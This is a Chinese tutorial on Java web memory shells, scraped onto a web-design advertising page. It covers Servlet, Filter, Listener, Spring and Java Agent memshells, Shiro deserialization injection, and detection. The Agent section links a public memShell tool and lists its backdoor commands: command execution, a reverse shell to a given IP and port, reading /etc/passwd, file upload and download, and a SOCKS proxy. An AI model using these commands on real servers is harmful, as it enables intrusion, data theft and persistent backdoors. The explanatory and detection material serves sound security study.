西安做网站做黑枸杞的公司网站
2026/2/15 15:37:09 网站建设 项目流程
西安做网站,做黑枸杞的公司网站,asp net做网站视频,wordpress左上角logo内存马原理、实战与查杀 引言 我们在漏洞挖掘的时候经常看见大牛们发现一个文件上传漏洞时#xff0c;上传的不是我们熟知的.php文件#xff0c;而是.jsp文件。这其实利用的不是我们开始学的时候接触的webshell,而是memshell(内存马)。这篇文章将从基础原理开始#xff0c;依…内存马原理、实战与查杀引言我们在漏洞挖掘的时候经常看见大牛们发现一个文件上传漏洞时上传的不是我们熟知的.php文件而是.jsp文件。这其实利用的不是我们开始学的时候接触的webshell,而是memshell(内存马)。这篇文章将从基础原理开始依次介绍Servlet内存马Spring内存马Agent内存马Shiro内存马使用以及内存马的检测与查杀。一. Java Web 应用的三大组件想要理解最常见的三种内存马的类型那么一定要了解Java Web 应用的三大组件ServletFilterListener下面我将结合工程实例具体介绍1.1 ServletServlet 是运行在 Web 容器中的 Java 程序用于接收客户端请求并生成响应是 Java Web 中处理业务逻辑的核心组件。结合大家都知道的当前已经成为主流的 Spring Boot 我们可能对 Servlet 感到更加熟悉一点但是不论是 Spring MVC 还是 Spring Boot本质上都是建立在 Servlet 规范之上的封装它们内部都通过一个或多个 Servlet 来接收并分发 HTTP 请求。下图是 Java Web 发展史的“标准主线”一个 Servlet 工程 Tomcat Servlet API 你写的 Servlet 类 映射配置在工程里代码层如何开发一个 Servlet 完整流程如下Servlet 和 jsp 的关系JSP(java servlet page) 是一种以页面为中心的 Servlet 编写方式最终都会被编译成 Servlet 执行。当你第一次访问一个 .jsp 文件时Tomcat 会做这几件事xxx.jsp ↓翻译 xxx_jsp.java ← 一个 Servlet 源码 ↓编译 xxx_jsp.class ↓加载 当成 Servlet 执行Servlet 和 Tomcat 的关系想使用好内存马重要的一点就是了解 Filter 在哪里处理什么能为内存马做什么Servlet 运行在 Tomcat 的 Servlet 容器内部JVM 内存中Servlet 直接处理 HttpServletRequest 和 HttpServletResponseServlet 是请求链的终点能力集中但触发条件严格更偏向业务层在隐蔽性和全局控制上不如 Filter。1.2 FilterFilter 是位于客户端与 Servlet 之间的过滤组件用于对请求和响应进行预处理和后处理。浏览器 → Tomcat → Filter.doFilter(request,response)→ Servlet.doGet()/doPost()结合工程实例在代码层创建一个 Filter 的完整流程如下想使用好内存马重要的一点就是了解 Filter 在哪里拦截什么能为内存马做什么Filter 运行在 Tomcat 的 Servlet 容器内部JVM 内存中Filter 拦截的是 HttpServletRequest 和 HttpServletResponseFilter 拥有“全局视角” 能拿到请求头session等很多信息可以读取、修改、阻断请求并直接控制响应是实现内存马最理想的切入点。1.3 ListenerListener 用于监听 Web 应用及其核心对象ServletContext、Request、Session的生命周期事件在对象创建、销毁或变化时执行自定义逻辑。结合工程实例在代码层创建一个 Listener 的完整流程如下同理Listener 在哪里监听什么能为内存马做什么Listener 同样运行在 Tomcat 的 Servlet 容器内部JVM 内存中Listener 挂载在 Context、Request、Session 这些核心对象上。Listener 不处理请求而是监听 Web 应用启动 / 销毁、Request 创建 / 销毁、Session 创建 / 销毁、属性变化。Listener 在内存马体系中最大的价值不在于“执行”而在于“时机早、权限高、身份合法”它为恶意逻辑提供了一个不依赖 URL、不依赖业务、不落盘的持久入口。二. Servlet内存马演示在 Tomcat / Servlet 容器语境下常说的“Servlet 内存马memshell”主要分为三大类Listener 型、Filter 型、Servlet 型。只要恶意逻辑被注册进这三个位置之一并驻留在 JVM 内存中在安全研究语境里就会被称为 Servlet 内存马。具体使用即发现一个上传点之后上传文件马到这个位置,然后访问一下这个jsp文件(让他解析但是像Spring Boot默认就关闭了访问即解析jsp文件)他就会被编译到内存中这时候就不需要这个jsp文件了因为JSP将恶意组件如 Filter / Listener成功注册到 Tomcat 内存中后后续控制逻辑由容器自动触发不再依赖 JSP 文件路径只要请求进入容器并命中对应组件的处理逻辑就可能被处理。不需要像webshell一样指定文件路径进行参数的传递。三. Spring内存马演示要想详细从代码层面了解需要很长篇幅这里从逻辑层面上简单解释Spring内存马的原理3.1 Spring运行流程Servlet 模型是多个 Servlet 对象每个对象负责一类请求Spring 模型是只有一个 DispatcherServlet它内部通过映射关系把不同 URL 分发给不同 Controller 对象的不同方法。DispatcherServlet一个被 Tomcat 调用的 Servlet 类Controller一个被 DispatcherServlet 反射调用的普通 Java 类浏览器||HTTP请求/test1 v ┌───────────────────┐ │Tomcat│ │(Servlet容器)│ └─────────┬─────────┘||所有请求 v ┌──────────────────────────────┐ │DispatcherServlet│ ← 只有这一个Servlet│(extendsHttpServlet)│ └─────────┬────────────────────┘||doDispatch()v ┌──────────────────────────────┐ │HandlerMapping│ │(查映射表)│ └─────────┬────────────────────┘||找到HandlerMethod//Controller 对象 它的某一个方法v ┌──────────────────────────────┐ │HandlerAdapter|│(反射调用方法)|└─────────┬────────────────────┘||invoke()v ┌──────────────────────────────┐ │Controller对象 │ │TestController#test1()│ └─────────┬────────────────────┘||返回结果 v ┌──────────────────────────────┐ │DispatcherServlet│ │(处理返回值)│ └─────────┬────────────────────┘|v 浏览器3.2 映射表Spring 的映射表本质是一个普通的 Java Map 只要程序还在运行它就可以被修改而在Servlet时代设计上在启动期确定不能修改因此内存马通常通过新增 Servlet / Filter 等组件来改变请求流向3.2.1 Servlet 时代多个 ServletTomcat├──ServletA(doGet)├──ServletB(doPost)├──ServletC(service)访问流程一个 URL ≈ 一个 Servlet/a →ServletA.doGet()/b →ServletB.doPost()3.2.2 Spring 时代一个 Servlet 很多对象:Tomcat└──DispatcherServlet||--MapString,HandlerMethod||--ControllerA|├──method1()|└──method2()||--ControllerB└──method3()访问流程/test1 →DispatcherServlet→ControllerA.method1()/api →DispatcherServlet→ControllerB.method3()存在这样一张映射表用于查询创建的过程如下Spring启动时会做类似下面的事情概念模型 扫描到TestController//扫描所有的Controller↓ 发现RequestMapping(/test1)//发现注解↓ 生成HandlerMethod//Controller 对象 它的某一个方法↓ 放入Map3.3 内存马演示Spring 内存马的本质就是在攻击者获得一次 JVM 执行能力后直接修改 Spring 运行时内存中的请求映射表HandlerMapping新增一个不在源码、不在配置、只存在于内存里的 URL → HandlerMethod 映射从而在本次进程生命周期内获得一个“看起来完全正常”的 HTTP 入口。普通Spring内存马注入隐藏/劫持Spring内存马注入四.Agent内存马演示4.1 jar包想要理解agent,我们还需要补充一点jar包的知识那jar包呢其实是这样的jar 一堆 .class 配置文件 资源 的压缩包本质是 zip可以理解成Java 世界里的 exe 资源包。我们平时这样跑jar包的时候java -jar app.jar其实是 JVM 解压 jar → 找 Main-Class → 加载对应 .class → 执行 main()所以 JVM 从来不“运行 jar”它只运行 classjar 只是 class 的“容器”。4.2 Agent原理Java Agent 是从 jdk 1.5开始 JVM 官方提供的一种“运行期扩展机制”允许在不修改源代码的情况下介入 JVM 的类加载与执行过程。可以理解成 JVM 给外部程序预留的一条“合法插口”是被 JVM 特别对待的一类 jar4.2.1 Agent运行流程首先需要补充两个概念即 Instrumentation 和 Transformer :Instrumentation是 JVM 内部实现并暴露给 Agent 的“官方接口对象”,即 JVM 内部能力的“对外控制接口”Transformer不在 JVM 中是由 Agent 编写、由 Instrumentation 注册、由 JVM 主动调用的回调接口。Agent整体运行流程主要就是通过这两个 java api 如下图所示┌──────────────────────────┐ │JVM│ │ │ │ ①JVM启动/运行中|│ │ │ ② 发现-javaagent/attach│ └──────────┬───────────────┘ │ │ 调用 premain/agentmain │ 并传入Instrumentation▼ ┌──────────────────────────┐ │JavaAgent│ │ │ │ inst.addTransformer(...)│ └──────────┬───────────────┘ │ │JVM记录Transformer引用 ▼ ┌──────────────────────────┐ │JVM│ │ │ │ ③ 类加载/类重定义发生 │ │ │ │ defineClass/retransform│ └──────────┬───────────────┘ │ │JVM主动回调 ▼ ┌──────────────────────────┐ │Transformer│ │transform(byte[])│ │ │ │ 返回修改/原始字节码 │ └──────────┬───────────────┘ │ │JVM使用返回的byte[]▼ ┌──────────────────────────┐ │ 内存中的Class定义 │ │ 磁盘文件不变 │ └──────────────────────────┘其实Agent 只干一件事就是在“类变成可执行代码之前或过程中”对 .class 的字节码 或 JVM 内部的 Class 定义进行插手修改正确的类执行流程是这个样子的.java--(javac)--.class--(JVM)--可执行的Class而 Agent / Transformer 介入的位置是.class字节码 ↓ 【JVM准备定义类】 ↓Transformer.transform(byte[])↓JVM定义为可执行Class上方说到是在类变成可执行代码之前或过程中进行插手修改那这样就引出了 Agent 的两种运行方式方式一启动时加载premain启动时加载premain 是指在 JVM 启动阶段通过 JVM 参数加载 Agent。JVM 在启动时检测到-javaagent:xxx.jar参数后会加载该 Agent jar并按照规范查找并调用其中定义的 premain 方法同时向其传入 Instrumentation 接口。premain 示例代码://形参里是传入的 Instrumentation 对象publicstaticvoidpremain(StringagentArgs,Instrumentationinst){// 注册 Transformerinst.addTransformer(newTransformer());System.out.println(Premain Agent loaded!);}说明premain 是 JVM 约定的 Agent 启动入口JVM 在启动时调用该方法并传入 Instrumentation 对象addTransformer 注册后之后加载的类都会先经过 Transformer 再被 JVM 定义方式二运行时加载agentmain运行时加载agentmain 是指在 JVM 已经运行的情况下通过 Attach 机制 将 Agent 动态加载进目标 JVM 进程。当一个 JVM 进程被 Attach且加载了某个 Agent jar 时JVM 会调用该 Agent 中的 agentmain 方法。这就不会像方法一一样一个命令能够解决是外部工具如 Attach API指定 PID告诉 JVM“我要加载这个 Agent” 然后 JVM 才会调用 agentmainagentmain 示例代码:publicstaticvoidagentmain(StringagentArgs,Instrumentationinst)throwsClassNotFoundException,UnmodifiableClassException,InterruptedException{// 注册 Transformer允许修改已加载类的字节码inst.addTransformer(newTransformer(),true);// 获取当前 JVM 已加载的所有类Class?[]loadedClassesinst.getAllLoadedClasses();// 查找目标类 me.mole.Bird 并重新转换for(Class?c:loadedClasses){if(c.getName().equals(me.mole.Bird)){try{// 触发 Transformer 修改内存中的类定义inst.retransformClasses(c);}catch(Exceptione){e.printStackTrace();}}}System.out.println(Class changed!);}说明注册 Transformer获取已加载类查找目标类并重新转换4.3 内存马演示普通Agent演示首先打包运行并查看目标进程的PID然后使用attach这个运行中的进程即可看见进程被修改鸟儿飞走了web项目注入内存马这里使用的是冰蝎作者提供的内存马该内存马能够会自动找到tomcat进程并注入注入成功之后会自动销毁,下载地址https://github.com/rebeyond/memShellhttps://pan.baidu.com/s/1lS7VbUw6YEdUm2zKbJWK_w?pwd8888 提取码: 8888 //百度网盘启动一个tomcat,建议先关闭其他的工程不然可能注到其他地方去了注入内存马成功访问执行命令http://localhost:8080/?pass_the_worldpasswordmodelexeccmdipconfig冰蝎内存马还有这些操作yurl?pass_the_worddpass//查看帮助文件yurl?pass_the_worddpassmodelexeccmdwhoami//执行命令yurl?pass_the_worddpassmodelconnectbackip8.8.8.8port51//反弹连接yurl?pass_the_worddpassmodelunldownloadunlhttp://xxx.com/test.pdfpath/tmp/test.pdf//下载文件到受害者机器yurl?pass_the_worddpassmodellist[del]show]path/etc/passwd//列出、删除、查看文件yurl?pass_the_worddpassmodeldownloadpath/etc/passwd//从受害者机器下载文件yurl?pass_the_worddpassmodeluploadpath/tmp/a.elfcontentthis_is_content[typeb]//上传文件到受害者机器yurl?pass_the_worddpassmodelproxy//启动SOCKS代理服务器yurl?pass_the_worddpassmodelchopper//启动chopper server agent五.Shiro反序列化注入内存马前面讲的三种内存马都是需要文件进行操作只谈使用性的话这样相对于webshell貌似有些多此一举那接下来我就介绍一种真正的无文件的内存马注入方式Shiro反序列化注入内存马5.1 Apache ShiroApache Shiro 是一个 Java Web 安全框架主要解决权限相关的问题Shiro在web项目里面的位置如下浏览器 ↓Servlet/Filter↓Shiro安全层 ←认证、授权、会话 ↓ 业务ControllerShiro 的一个关键设计点RememberMe“记住我”即用户关闭浏览器后仍保持登录状态实现方式概念Shiro 把 用户身份对象序列化后放到客户端如 Cookie下次请求再取回来 反序列化5.2 反序列化漏洞本篇主要内容为内存马仅会对反序列化的漏洞概念做一些简单讲解只需要知道反序列化字节流 → 对象恢复成 Java 对象而在java中反序列化时会自动执行对象的构造与初始化逻辑如果反序列化的数据 来自用户且没有限制反序列化的类型,就会造成用户控制服务器创建对象即反序列化漏洞。如果找到用户输入的数据能够被反序列化的地方比如刚才提到的漏洞版本shiro中的cookie位置即可实现利用该漏洞。5.3 内存马演示利用存在漏洞的版本的shiro进行演示六.内存马的检测和查杀内存马检测思路通过java应用的接口获取tomcat JVM里面加载的类遍历所有类判断是否为风险类内存注册但是磁盘里没有文件class文件里面包含恶意内容上图这是一个集成工具用于获取PID然后attach类要拿jdk11跑。地址如下https://github.com/4ra1n/shell-analyzer内存马处理重启能直接解决绝大部分内存马文件查杀漏洞的检测和修复七.附言在接触内存马之前我一直将它理解为某种“高阶后门技术”但是像Servlet、Filter、Listener甚至 Java Agent这些内存马其实并没有引入新的能力只是利用了那些本就存在于容器内部的机制。也正是从这里开始我逐渐意识到安全能力的提升更多来自对系统内部结构的理解而不是对某种“技巧”的堆砌。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询